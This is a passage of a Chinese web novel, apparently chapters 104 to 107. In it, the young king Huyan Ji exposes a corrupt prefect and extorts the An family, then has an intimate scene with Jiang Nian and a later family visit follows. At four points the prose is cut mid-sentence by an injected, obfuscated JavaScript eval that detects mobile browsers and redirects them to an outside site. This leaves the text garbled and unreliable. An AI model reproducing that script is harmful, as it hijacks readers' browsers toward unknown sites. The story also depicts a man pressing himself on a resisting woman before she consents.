来人静默了半晌,开口道:“我八岁去的大梁,十五方回。” 羯庸脑中一丝异样闪过,太快,来不及抓取。 “你来此找本官所为何事?” “自然是让你放人。” 一直未开口的安努尔轻轻一声笑,这笑里藏着居高临下的轻视。 “延吉,你护不住她,何必到这里自讨没趣,若不是我,你连见府令大人的资格也没有。” 安努尔一语刚落地,上首传来乱七八糟的哐哐响,很是有些慌乱,转头看去,就见刚才还端坐的羯庸半歪在地,头上的方冠掉在一边,他又狼狈地去捡,踉跄不能起。 那捡的动作看着十分慌张,一旁的侍从赶紧架起他的两只胳膊,好容易才搀直了身子。 “大人无恙否?”安努尔问道。 羯庸在侍从的搀扶下站稳,微垂着眼,有些不敢正视堂下,磕巴问:“你……你叫什么名儿?” 他刚才听安努尔叫那人延吉,差了一个字,但他不得不警醒一些,这年轻人一进会客厅,他就觉着眼熟,奈何背光一直看不清明,况这少年说他八岁到大梁,十五岁归夷越,这跟那位何其相似。 哎呀——若真是……这不是要他的老命! 来人淡淡说道:“你没听到他叫我‘延吉’?” 安努尔看着眼前一幕,察觉出事态不对。 羯庸仍是不敢直视下方,眼神一直在避,说出来的话早已没了刚才的架势:“敢问小郎君尊姓?” 此话一出,便是一阵安静。 这诡秘的安静延长下来,终于堂下人启语:“你一末吏,安敢问吾族氏?” 羯庸身子一晃,什么也顾不得,挥开左右,踉跄趋阶而下,稽首及地,俯伏而拜,两条胳膊在袖中颤抖不止。 “微臣叩请死罪!大王如皓月亲临,臣竟昏昧至此。” 呼延吉错身而过,径直走到上首,威坐下。 “羯庸你好大胆,敢同十三岭之匪贼为伍,沆瀣一气。” 呼延吉说罢,看向安努尔,同羯庸的慌乱相比,这人显得过于平静,似是很快接受了眼前的事实,并迅速想接下来的对策。 羯庸额上冷汗直冒,一句话也说不清:“大王,微臣不知……” 安努尔冷冷一声笑:“府令大人这是什么话,我那三大箱笼金锦刚入你的库房罢。” 这会儿他绝不能让羯庸摘干净,需得把他拖下水,才能捕得一线生机。 羯庸气骂:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371292|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你一商贾莫要诬陷本官,本官岂会受你的礼。” 安努尔丝毫不见慌张:“府令大人以为不承认,咱们这位少帝就会放过你?大人为官多载,不会连这点也想不明白罢。” 羯庸慢慢回过味来,他已是将人得罪了,且君王这态度明显就是来兴师问罪的。 他知道安努尔的意思,只是……绞杀皇族?羯庸浑身一激灵,可事已至此,呼延氏不死,死的便是他。 想到这里,男人怯弱的目光变了,从地上直起身,重新理衣,看了安努尔一眼。 安努尔平平道:“大人将心放入肚中,徽城外皆是我十三岭的人。” 当真是想不到,此人竟是呼延氏,怪道同阿念姐弟相称,当年少帝八岁入梁为质,十五而归。 可惜了,连安努尔也不得不承认,呼延吉确实为一雄主,胸有气吞**之象,眉目间隐现山河峥嵘,假以时日,夷越在他的统管下,必能海宇清宁,万国来朝。 却不得不夭折于此,命该如此,怨不得。 羯庸得了这话,面色又变,转看向上首的呼延吉,厉声道:“狂徒安敢僭越!我夷越少帝天威煌煌,你这竖子竟称天家血脉,此刻你若自断舌根伏于阶下认罪,本官可赐鸩酒,全你尸身。” 呼延吉身子微微前倾,双肘搁于膝上,姿态十分随性,眼睛看向安努尔,话却是对羯庸说,好似友人叙谈一般:“你同匪贼一路,朵家的朵尔罕可知晓?” 他调兵遣将,可不只是为了抓一个小小府令,而是要拽出更大的鱼,五上姓一日不除,他的皇权一日不稳。 为官之人,哪有直愣的,有些话是死也不能宣之于口,羯庸冷冷地笑道:“死到临头还敢胡言乱语,来人,将人拿下!” 说罢,厅外却没有任何回音,没有任何人影,只有院里的树叶被风刮得掀腾翻覆,沙沙……沙沙…… 呼延吉缓缓站起身,也就是这一起身,羯庸跌倒在地,他知道完了,自己彻底完了…… “我再问你,同匪贼勾结,这里面是否有朵尔罕授意?说!”呼延吉一步一步下阶,每进一步,都是羯庸生命的流逝。 往日倨傲的徽城府令现下却像烙铁上的水珠子,滋啦滋啦,惶乱滚窜,最终连丝烟气也不冒就没了,谁也救不了。 他闭口不说,死他一人,算是最好的结果,家眷还能保全,思及此,猛地起身,往屋柱上一撞,血溅满地,颓倒于地,指尖还在颤动,七魂已投望乡台。 呼延吉“啧”了一声,拿出帕子擦了擦脸上的血点,将帕子掷到尸体之上,转而看向安努尔:“他不是兵,我才是。” 安努尔面色看不出什么情绪,只问了一句:“我的人呢?” “哪儿还有什么人?死得差不多了。” 直到这一刻,安努尔的神色才有了异动,匪寨是他多年以来的心血,就这么被清剿了。 呼延吉朝外招了一下手,立时进来几人。 “带他下去,看好了。” 安努尔并未反抗,而是低头嗤笑一声,说了一句不和调的话:“延吉,你对她,根本不是爱……” 第105章 快停下,我怕痒 安努尔冷笑一声,直言呼延吉对江念根本不是爱,不仅如此,还反问一句:“你爱她?” 明明是发问,可那语气却是笃定的。 呼延吉收起无谓的态度,反问:“你说呢?” “她若不是现在这个样子,而是贱入泥尘,你还爱?”就如同他当初见到赛依拉蓬着头从黄泥屋出来,他接受不了,更接受不了她委身于那样的腌臜汉,从那一刻起,在他心里她便不是她了,从清风变成了浊气。 呼延吉顿了一顿,认真道:“她什么样子,我都见过,别说贱入泥尘,就是化成尘泥,我也会把它当成燃尽的佛前香灰,虔诚供奉。” 安努尔腮骨微突,内心翻覆,他原也有爱人,被他弄丢了,然而男人面上却不显,他最擅攻心,一计不成,又生一计。 他不好过,自然也不会让呼延吉好过,他让他吃了一记大亏,毁了他多年以来的心血,他自然要回以一礼,在呼延吉心里埋下一颗惴惴的种子,在猥葸和狐疑中,这粒种子终会破土而出。 安努尔向呼延吉逼近一步:“你不爱她,不,应该说你对她的爱算不上爱。” “什么意思?” “一个八岁的小儿,异国他乡,恓惶的生活总要找个依靠,如果我猜得不错,江念便是你的依靠,你习惯有她,有她在,你便寝食安稳,这怎么能是爱呢,如雾里看花,这是依恋,你对他是亲人的依恋。” 男人看透了一切,继续道:“你身上一定缺了某部分情感,正巧江念弥补了你这一部分的缺失。” “延吉,你比我更可怕、更自私,我耍弄手段确实卑劣,可你比之我更甚,你假作爱她,以爱之名将她困在你的身边。” 呼延吉冷冷盯着安努尔:“说完了?” 安努尔还有最后一击,直戳要害:“你以她为饵,诱我上钩,引出羯庸,以此达到你的目的。”说着男人一声轻笑,“这就是你的喜爱,真正喜爱一人,怎会忍心让她处于危境,牢房是什么地方,她在里面会发生何事?受辱?受刑?你不会没想过,可你仍是弃她不顾,都说王者之心如九渊,当真难测呐!” 事情是这么个事情,可话不是这等说,呼延吉确实晚了三两日才行动,那是他量准安努尔不会伤江念,况且他事先买通狱卒,真若有事,他不会不知晓,但安努尔把话往偏了说,那意味就大不一样。 呼延吉仍是面无表情,半个字也不接:“说完了?” 安努尔笑了笑,不再开口。 “带他下去!”呼延吉喝了一声。 安努尔此计不可谓之不阴毒,先把你的火气拱起,结出暗疮,那暗疮又疼又痒地附在皮肤上,日渐肿大,直到有一日,它熟了,破了,流下黄白的脓液。 可他算错了一点,呼延吉不会让这种恶心人的东西久附在身上,很快就用他的方式挑破了…… …… 江念等人回了桂花巷,情姑请了大夫来,给自家男人诊治,伤得有些重,不过没有危及性命,需好长一段时日调养。 秋月烧了热水,给江念清洗身子,去除晦气,把她穿过的衣服烧了。 然后服侍她睡下,秋月看着床上的江念,在牢里不过几日,人眼见得瘦了,打下半边帐幔,出了屋。 “念念阿姐睡……睡下了?”珠珠问道。 秋月点点头,低声道:“你我手脚放轻些,莫要吵到她。” 珠珠点了点头。 正说着,院门被一把推开,进来一人,正是呼延吉,只见男人面色沉沉,有些难测。 “出去!” 秋月同珠珠神魂一震,不知该当如何,秋月只得上前恭声道:“小阿郎,阿姑才睡下……” 然而话音刚落,男人又是一声呵斥:“滚出去!” 秋月见男人面色似是不对,不知因何生恼,有些担忧,却又不得不携着珠珠退出院外。 院外守着护卫,院门紧闭,两人只好坐到歪脖子树下候着。 江念睡得并不很沉,在那样一个阴湿的地方待几日,好似再次回到梁国沦为阶下囚的日子,噩梦一般想醒却不能醒。 下一瞬,她猛然睁开眼,心中的惊悸还未平定,就见床边立着一个人,慌了一神,再看,却是呼延吉,他就那么一霎不霎地低睨着她,男人高健的身体将床前的光挡去大半。 “吉儿,你站在这里干什么?” 江念缓缓撑起半边身体,刚要说什么,却惊诧双眼呆在那里。 只见呼延吉先是松开护袖,掷到一边,再解开腰带,扯掉外衫。 男人做这些的同时,一双眼一直看着床上的江念,江念昏沉的脑子瞬间炸响,明白过来他要做什么,就要起身下榻,却被呼延吉拦腰丢回床上。 “你疯了么?”江念有些气了。 “哪里疯了,你早晚是我的人,咱们现在把事情办了也是一样。”男人一把挥下另半边床帐,入到帐内。 霓色的青纱帐将榻间笼成淡淡的粉色,连同里面的人儿。 她察觉到他的不对劲,呼延吉对她一向克制,今日却是两样,于是换了一种语气:“吉儿,你告诉我,是不是发生了什么事?或是有人说了什么?” 呼延吉心里更显烦躁,总也压持不住。 他不想听她叫他吉儿,不想看她眼中流露出那样的光晕,好似他又在使顽性,而她要做的就是包容抚平他的玩闹。 他不给她言语的机会,倾压上去,开始解她的衣带,江念自然是不肯的,她的不配合使他动作了半晌,也没更进一步,后来干脆把手从她的衣摆舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371293|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弄进去,掐住她的腰肢,再颤颤往上…… 他对她怎么可能是亲情,明明是喜爱,明明是爱而不得,兴许是急于求证这一点,男人的动作更显急切。 江念在呼延吉的蛮力下,挣脱不得,只觉得那双臂膀铁一般的硬,一时间又羞又恼,这么一会儿的工夫,身上已起了一层薄汗。 他手上不知轻重,有些弄疼了她,偏偏身上之人好似不觉,贪恋地埋在她肩窝处蹭来蹭去,看似无礼轻浮,实则连衣带子都颤颤地解不开。 她看着他透红的耳,左耳上一粒小小的耳洞,鬼使神差地抬起手,捏了捏那红红的耳垂,软软的,有些烫人。 女人一个简单轻柔的动作,竟叫呼延吉乖顺下来,埋在她的颈间不再乱动。 江念觉着好笑,感觉到颈间湿痒痒的,忍不住笑起来:“你快停下,我怕痒。” 呼延吉偏不听,在她的颈脖舔了一下,又用齿咬一下,牵引着她的手,喃喃说着:“阿姐……我难受,心里难受,身上也难受……” 他抬起头低低地看向她,一双琥珀色的淡眸尽是隐隐的情动,烫得江念往回一缩,那脸一瞬间飞红,一直红到耳后。 那双有力的手包裹着她的手,牵着她,引着她…… 江念吓得一呼,赶紧缩回手,心跳到了嗓子眼,害怕知道那是什么,她的手简直不像自己的一样,颤抖着,又下意识地吞咽了一下,这吞咽的叽咕声在小小的纱帐间,很是应景。 他没有迫她,就那么垂着头,重新伏回她的颈间,连呼出的气息都是烫的,在她的锁骨间化成清凉的雾珠。 呼延吉觉着脑子里烧着一锅热沸的酒,晕**想着,他要不要再试一试,现在他很肯定,他对她绝对是男女之情,并非什么依恋的亲情。 他是那么想再进一步,若她还是不愿,那就作罢,总不能吓着她…… 心里这么想着,一双手慢慢抚上她的小臂,再往下勾起她的指,然后牵着她的手。 这一次,她任他牵着,没再挣脱。 她能感受到他全身肌肉紧紧绷起,劲窄的腰腹蓄着力道,他的头在她的颈间埋得更低。 江念一张脸红得不能再红,眼睛热着,从来不知道,原来这种事情能让一个人失态至此,更可怕的是,她好像也被传染了,身上开始发热。 她侧过头,一双眼大大地睁着,看着他充血的耳,还有那一粒耳洞,看着他蜜色肌下透出的红。 兴许感受到她侧过来的气息,男人抬起一臂,轻轻盖住她的眼,私语蛊惑:“不要看……” 掌心下是女人如羽的眼睫,扑棱着扇动。 灵犀已透,呼延吉再不能忍。 女人耳后的红延展到脖子,连袒露出的一片雪脯也染成胭脂色…… 第106章 情浓 秋月听见那个叫阿丑的让自己进去,便让珠珠等在外面,自己进去了。 一进院子就见小阿郎立在房檐下,让她打一盆热水来,待她将水打来,他却亲手接过,让她在外候着,自己进了屋。 秋月不是没经过人事的小姑娘,她从前也有个相好,两人情浓之时,便行了周公之礼,这在夷越不算什么,她们这些做丫鬟的,最后总是拉去配人。 从小阿郎将她和珠珠赶出院子,她就预感有事要发生,这会儿要水,就更加确定了她的猜测。 不过秋月料对了一半,错了一半。 屋内,江念有些呆怔,手是洗干净了,可总觉着那双手是麻的,有些重。 呼延吉看她迷懵的样子有些想笑。 江念扭头回看向他,摊开手,递到他的鼻下:“你闻闻,还有味么?” 呼延吉真就闻了一闻,摇了摇头:“洗干净了,怎么会有味,不行我再给你洗洗?” 江念摇了摇头,想起一事:“安努尔他……” “看押住了。”呼延吉不太想提起这人。 斜光中见江念默脸不语,心瞬间提起来,追问道:“你在心疼他?” 江念横了他一眼:“倒不至于,相处了这些时日,到底还是受过他一些恩惠,他有不好的地方,可也不能为着那点子不好,把他的好给否了。” 其实呼延吉并没打算取安努尔的性命,相反,他对这人还有些欣赏,譬如狡诈诡谲、深沉缜密,掌商道,混匪道,是个人物。 不过他欣赏归欣赏,江念替他说话就不行,特别是安努尔挑拨自己和江念的那些话,尤为可恶。 这人太能洞察人心,不知不觉将别人绕进他设好的陷阱里。 呼延吉冷嗤一声:“你怎么还替他说话,那隔壁万兄的命不是命?若是我再晚一点,万兄的两条腿只怕就残了。” 江念把眼一横:“你还说这话儿,你大可以再晚来几日。” 这事呼延吉本就理亏心虚,江念一提,他便没话了。 她把手递到他的面前,两腮飞出一抹红,呼延吉握住那双柔软,点了点头:“没想把他怎么样,但也不能轻饶,总得从他身上刮一层皮肉下来才好,成日把别人当傻子,就他一人聪明,忒可恶。” 呼延吉在来的时候就派人探查过安努尔的底细,这人不能专用好和坏去评判,你说他坏罢,他给穷人施粥施米,布善施恩,你说他好罢,他又贿赂官员为自己牟取私利,借以打压比他弱势之人,手段狠戾非常人所及。 这都不算什么,真正让呼延吉决定放安努尔一马的是另一事。 安努尔虽为匪首,却从不让他手下的匪兵扰民,换句话说,乾道十三岭的匪贼全靠安努尔一手养活。 不过他也有那个财力。 江念见他那样说,问道:“什么叫刮一层皮肉下来。” 呼延吉扬起唇角:“一会儿你就知道了。” 正说着,院门被敲响。 呼延吉冷笑一声:“正说呢,就来了。” “谁来了?” 呼延吉把江念抱到窗榻上,笑道:“让阿姐看场好戏。”说罢,转身走出房门。 江念倚坐在窗栏边,从窗隙往院子里看去。 秋月前去打开院门,看着门外之人,先是一怔,接着叫了一声:“老夫人!” 安氏进到院中,身后还跟着五六个豪奴。 老妇人满头珠翠,一脸沉穆,冷冷开口问道:“那人呢?” 正当秋月不知如何是好时,呼延吉的声音响过来:“找我?” 安氏望了过去,是一个十分年轻的男子,有些不信他那儿子败在这样一个年轻人手里,先是在他身上打量几眼,然后转过身,摆了摆下巴,院里开始进人。 皆是两人一抬,排着队一般,不停地往院子里堆入箱笼,直把院子停得满满当当,没处落脚。 已经数不清是多少抬,只知这些箱笼沉甸甸,像是装满了石头一般,然而怎么可能是石头呢,江念透过窗隙,见院子里还在进人,直到最后一抬放好,那些箱笼几乎要垒过院墙,小山似的。 安氏表情始终淡淡的:“小郎君看一看,可够?” 呼延吉漫走到其中一个箱笼前,打开,里面全是耀目的金黄,“啪——”地关了,再走到另一箱笼前,打开,全是焕彩的珍宝,“啪——”地又关了。 “依我看,老夫人并不想救儿子,心不诚呐!”呼延吉说道。 “小郎君胃口也太大了些,吃得下么?”安氏声音冷硬。 呼延吉将其中一个箱盖打开,从里面拿出一块沉沉的金条,在手里掂了掂:“这么点蝇头小利打发不了我,至于吃不吃得下……老夫人,我年轻,体格大,这些东西不够小郎我塞牙缝。” 安氏脸上仍没有多的表情,可江念看得出那不过是强自维持而已。 “小郎不如直接说个数出来,看老妇人给不给得起。” “老夫人怕是没搞清楚状况,我要的是你安家全部家当。” 安氏听后笑了,人往往越是心虚越是害怕,越会以笑来遮掩。 “我若是不给呢?” 呼延吉说道:“你儿子在我手里,随便一条罪名都能要他的命,你安家的钱财怕也不甚干净罢,我想拿走再容易不过,何须要你同意?” 安氏并不知呼延吉的身份,但也知其不简单,或是这小郎背后还有更大的人物。 缓了一缓,一直强撑的冷静再也端持不住,眼眶微湿,敛衽弯下双膝,吃力地跪下。 “还请大人网开一面,老妇这么大一把年纪,多活一天算赚了,却只这一个儿子,若是他没了,不行……” 呼延吉看着跪在面前的老妇人,眼神有一瞬间的恍惚,不知想到什么。 接着就听安氏说道:“大人留下我安家,不叫大人失望。” “哦,怎么个不叫我失望?” “拿下安家容易,却无异于杀鸡取卵,只要安家在,可以为大人创造更多的进账,岂不更好?” 呼延吉等的就是她这句话,点了点头,说道:“我要安家每年八成利。” 年年征战都需大量粮秣、兵甲供给,这些都需要银子。 安氏一听,差点吐血,小小年纪,野心倒大,咬咬牙说道:“七……成……如何?” 呼延吉蹙了蹙眉,心道,这老妇人怎么回事,还跟他还上价了,也懒得同她计较,遂说道:“七成便七成。” 安氏见呼延吉应得痛快,有些后悔没多压一点,不过也算有个好结果,人保住了,家也保住了,就是有些肉痛。 安氏走后,呼延吉进到屋里,江念笑问他:“这就是你要刮人家一层皮?” 呼延吉“唔”了一声,有些惘惘的。 “怎么了?”江念问道。 呼延吉走到她的对面坐下,看了眼窗外,看似随意地说了一句:“想不到安家老夫人为她儿子能做到这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371294|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地步。” “人家是母子,世上哪有母亲不为自己孩子的,任安老夫人再厉害的人物,脱不离她是一个母亲,都说母子连心,就是这个理。” “是么?那我还真不知晓。”呼延吉笑了笑,出了房门。 江念觉着他的笑有些酸惨,可也就是一瞬。 …… 江念走的前一日,情姑在自家院子里摆了一桌酒,又叫上崔致远,做了这么长时间的邻居,相互间都有些舍不得。 “小阿郎,你千万对你阿姐好些,以后不可欺负她。”情姑说道。 情姑的男人拉了自家女人一把,让她少说两句,这傻女人怎的看不出来,这两人哪是什么姐弟,分明是檀郎谢女。 情姑哪里知道,仍转头对江念说:“若你阿弟再欺负你,你就来嫂子家,嫂子家就是你家。” 江念笑着看了呼延吉一眼,有些得意的意味,点头道:“那就多谢嫂子了,京都离徽城不算远,待我日后有空就来看你。” “那敢情好,我守着铺子成日也走不开身,下面还拖着一个小子,你能来看我最好不过。” 呼延吉看向崔致远,给了他一封举荐信:“你拿这个去兀良府。” 崔致远怔了怔,接过书信,迟疑道:“京都兀良府?” “不然还有哪个兀良府。” 崔致远看了那封举荐信一眼,仍是不敢相信:“右大臣兀良哈的府邸?” 呼延吉点点头,他给他一条道,能走到哪里得凭他自己的本事了,说不定这个崔致远他以后用得上。 崔致远一颗心跳得欢快,赶紧自己给自己倒了一杯酒,一口灌下,压了压,再次看向呼延吉的目光就有些不一样了,能给京都兀良府写举荐信,绝非一般人能办到。 崔致远心里十分感激,一连敬了呼延吉好几杯,喝到最后,痛哭流涕起来。 就这么的,几人吃到深夜方散。 江念同呼延吉回了院子,她在前面走,他在后面跟前,她进了屋,他在后面看着。她听到他的步子停在门外,过了一会儿,却并没回他自己的屋,而是转到院子里。 透过窗隙见他坐在院中,一副懒懒的样子,高高地在石墩上支起双腿,男人面朝院门仰坐着,从她这里,可见其一小撇侧影。 他为了她,耗在这里许久,而他手上的冗杂事务定是积压如山。 她随他这一去,不知又是一番什么况景,而她隐隐觉着,呼延吉这一辈子可能注定要做个马背上的皇帝。 他在院中看星空,她枕在窗栏上看他的侧影…… 次日,江念让珠珠打点好行李,也就几件衣物,更多的是一些半成的香料。 秋月回了安府,江念还有些不舍,她才来桂花巷,那丫头就在跟前伺候,做事沉稳,也不多话,该说的说,不该说的不说,进退有度,很合她的心意。 呼延吉见她眉目微蹙,以为她留恋不想走,心里就有些不快。 “才在这里住了多久,就值得你这样。” 江念回了一句:“住在这里我是欢喜的,回了你那‘山洞子’,怕再也出不来。” “我好大一个王庭,被你说成山洞子。” 江念抿嘴笑着走出院门,同情姑等人道过别,出了巷子口,在仆从的搀扶下上了马车,马车在前后护卫的环拥下往城外行去。 这一去,她同呼延吉算是真正地绑在了一起,天涯同契阔,情丝百转,越缠越紧…… 第107章 郎有情,妾有意 情姑看着人马缓缓离开,叹了一声:“看看这阵势,那小阿郎在京都肯定有不少大产业,偏我那兄弟是个眼皮子浅的,火烧火燎地把真儿叫回去,不然就促成了。” “你真没看出来?”万年说道。 “看出来什么?” 万年进了屋,妇人不依,非叫他说个明白,追了进去。 万年摇了摇头,说道:“你呀!聪明的时候比谁都聪明,糊涂的时候比谁都糊涂。” “怎么这样说。” “人家阿念没同你翻脸算好的了。” “我跟她好好的,翻什么脸,你一句不着一句,快把话说清楚。” “你看不出来人家是郎有情妾有意,是一对璧人?” 情姑睁瞪着眼,眨了眨,把她男人的话在脑子里又过了一遍,回过味来,“哎呀”一跌脚,满脸尽是懊惭。 怪道那晚,她说看真儿同小阿郎相处得好,打算去信将她兄弟叫来,把亲事定下,她一下就恼了,还有,当初她同她去南市赶早集,她提出把真儿说给小阿郎,她也是百般推拒,不太情愿的样子。 …… 车马行出徽城城门,上了乾道,地面传来轰隆隆的震动,江念掀帘往外看去。 只见前方尘土遮天蔽日,不一时,尘烟渐散处,是一群手持刀刃的响马,俱是一脸桀骜凶狠之态,百来人的队伍里一人纵马挺出,江念定目看去,那人束着半边发,另一边散着,胸前挂着彩色琅石,正是安努尔。 没了往日的端方之态,显露出匪气。 呼延吉身后的军兵立刻上前,拈箭搭弓,摆好阵势。 安努尔只当没看见,纵马缓行到阵中,看向呼延吉:“你的这个情我承了,日后若需相帮,但凭吩咐。” 呼延吉不以为意。 安努尔又望向车队中间,对着江念一笑:“阿念,他若不好,你还来找我。” 江念把身子往外探着,笑着挥了挥手。 呼延吉一回头,江念立马收了笑,老老实实地缩回马车里。 经不住安努尔又在外喊了一声:“阿念,我送你一个人。”男人抬手,这时,从后出来一人,乞乞缩缩地从匪贼帮往对面的军兵走去。 江念好奇,又把脑袋从车窗探出,往外一看,惊喜道:“秋月?” 秋月本是有些怕的,一边是匪,一边是兵,她再怎么着也是一女子,哪里见过这样的阵仗,听见江念清亮的声音,一颗心瞬间落了地,捉起裙摆,往对面跑去。 呼延吉看着那丫头跑到马车边,手脚并用一骨碌爬上车,气得差点破口大骂,好你个安努尔,果然狡诈,江念都随他回王庭了,他还要安个人在她身边。 想归这么想,可从窗隙见江念一脸兴光,嘁嘁促促跟个麻雀一样同那个叫秋月的丫头说着话,终是忍了下来。 此时,后方又传来隐隐震动,回首看去,也是呼延吉不待见的一人,不是石儿禄却又是谁,真是一个赛一个添堵。 这次石儿禄倒没多说什么,只是乘于马上,远远地看着马车驶离。 江念掀开车帘,回望向石儿禄,笑着摇了摇手,这一瞬,有些似曾相识,不过也就一刹那,转眼消散。 安努尔抬手,身后的匪贼自觉退向两边。 呼延吉引着大队人马缓缓前行,经过时,安努尔翻身下马,侧过身,迎向年轻的君王,右手叩胸,躬身垂首,他身后的百人匪贼跟着下马,右手握拳,叩胸,躬身垂首。 车马行过,缓缓远去…… …… 朵氏自那日呼延吉说的一番话,才知原来自己不过是他手里的一枚棋子,而她能住在东殿,是因为她还有利用价值。 原来从他归夷之始,便已经开始筹谋,他要集中皇权,削弱五上姓势力,而她不过就是他的一块**盾牌。 若有一日,她的价值没了……朵氏不敢想,她会有什么下场。 出神间,一个侍奴走了进来,跪拜道:“禀大妃,老大人差人来问候,大妃身子一向可好,若得了空,望乞归家看望。” 朵氏静默了一会儿,说道:“知道了,下去罢。” 莱拉上前,躬身道:“大妃,老大人这是让你归府有事相商。” “先去一趟祥云殿,同圣太后问安,再出王庭。” 莱拉应下。 一辆阔大的香车从王庭的甬道驶出,穿过喧闹的正街,再转一个岔口行了一段,停下。 这处没有喧杂的人声,很是安静,清静的道路边是一座威赫府邸,高大的院墙用褐红磨石砌成,隐约可见树梢间的朱红楼阁。 朵氏在仆人的搀扶中下了马车,府门外早已候着一排豪奴丽婢,见了朵氏,俱上前恭迎。 这时从旁上前一人,手里推着轮车,停在朵氏跟前。 朵氏轻斜一眼,挥手示意不用,那人迟疑了一会儿,又将轮车推走。 莱拉见此,就要上前搀扶朵氏,亦被朵氏挥开,然后缓缓走进这座红色的高门大府。 莱拉看着主子强撑的背影,唯有嗟叹,这一进去不知又要遭受什么…… 门子在前引路,两边草植葳蕤,朵氏在一众奴仆的簇拥下穿过两道庭院门,就到了内宅,风中吹来一阵清灵灵的笑声,朵氏侧头去看,就见凉亭内轻粉的人影闪现,很是欢快的模样。 那轻粉的身影可真是刺眼,还有那欢快的笑声,同从前一样令她作呕。 朵氏冷冷地收回眼,继续往前行,行到正院时,朵氏之母,已引着一众女眷奴仆在正院门前候着。 朵氏之母虽已不再年轻,尤其一双眼,微微暗浊,显得整个人神态苍郁。 按朵母之龄,就算青春不再,也不该呈现这副老态,比那市井妇人还不如。 朵母引着众人向朵氏行礼,朵氏忙将她母亲搀扶起身。 “母亲大人不必如此,此次回府是私归,无需太多礼数讲究。” 朵母起身,握住朵氏的手,往她脸上端相,问道:“瞧你气色比从前好了。”说着,再将她从头到脚看一眼,微笑道,“看着越来越好了,也不用轮车。” 朵氏点头:“大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371295|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王替我寻了神医,经这几年调治,已是同常人无异。” 母女二人在奴仆的环伺下携手进到屋内,对坐着阔叙寒温,说了一会儿,就有仆人打帘进来,立在门首处。 朵氏看了那人一眼,同她母亲说道:“女儿让人送出来的那药,可还在吃?” “在吃,在吃。” “若是不够了,我再差人送出来一些。” 朵母笑道:“怎么不够,常常还没吃上一半,你又让人送新的来。” 朵氏点头,又看了眼门首之人,朵母也跟着看去,转头道:“去罢,你父亲等着你。” 朵氏起身,朵母将她送到屋外,看她走向另一处院子,看着看着眼眶就红了,那衣袖下的手狠狠地掐着,这么多年了,这心底的恨太难平。 “夫人,进屋罢,莫要吹着风。”一边的老仆妇说道。 朵母深深吸一口气,转身进了屋。 朵氏在仆从的引领下往前走着,走到一处院落,这里的房体俱是褐红色,比外面的颜色更深,像是血染的。 “老爷在书房,大妃请入内叙话。”仆从说道。 朵氏冷笑:“不进去通报一声?我可在外候着。” 仆从并不言语,仿佛朵氏多此一问。 朵氏面色一沉,照着那仆从就是一耳刮:“狗东西,在我跟前摆款拿架子!” 仆从连说不敢。 朵氏一甩袖,上到台阶,门前的小厮叩了两下门,低声道:“老爷,朵姑回了。” 朵氏眼一暗,不论她是什么身份,她在这个院子,永远是朵姑,老大人这是提醒她呢,让她别忘了自己原来的身份。 父亲叫她归家,绝非念女心切,一定另有目的。 门前小厮敲响房门后,门里一直没有回音,那小厮便垂首静立在那里。 朵氏立在门前,等着,约莫等了一炷香的工夫,莱拉看不过,上前搀扶住朵氏:“大妃,在院子里坐着等罢。” 朵氏摇了摇头,她若坐回院子,这一炷香便白等了。 女人浅蜜的肤色开始透出不正常的白,额上沁出细汗,身子晃了晃,腰背却挺得笔直。 就在她快撑不住时,门内传来一道微哑的声音:“谁来了?” 朵氏提起面色:“父亲,女儿回了。” “嗯,进来罢。” 朵氏推门而入,一进屋内,里面光线并不很亮,一张大大的桌案后坐着一人。 男人五十来岁的样子,蓄着短须,听见动静,这才从桌案抬起头,看了一眼案边的座椅,示意朵氏坐下。 朵尔罕看着眼前的女儿,开口道:“听闻这两年你病症好些了,怎的现下面色仍是不好?” “是好了不少,兴是有些热着了。” 男人点了点头,又问:“去见过你母亲了?” “见过了。” 朵尔罕“嗯”了一声,又问了几句无关痛痒的话,终于进入正题。 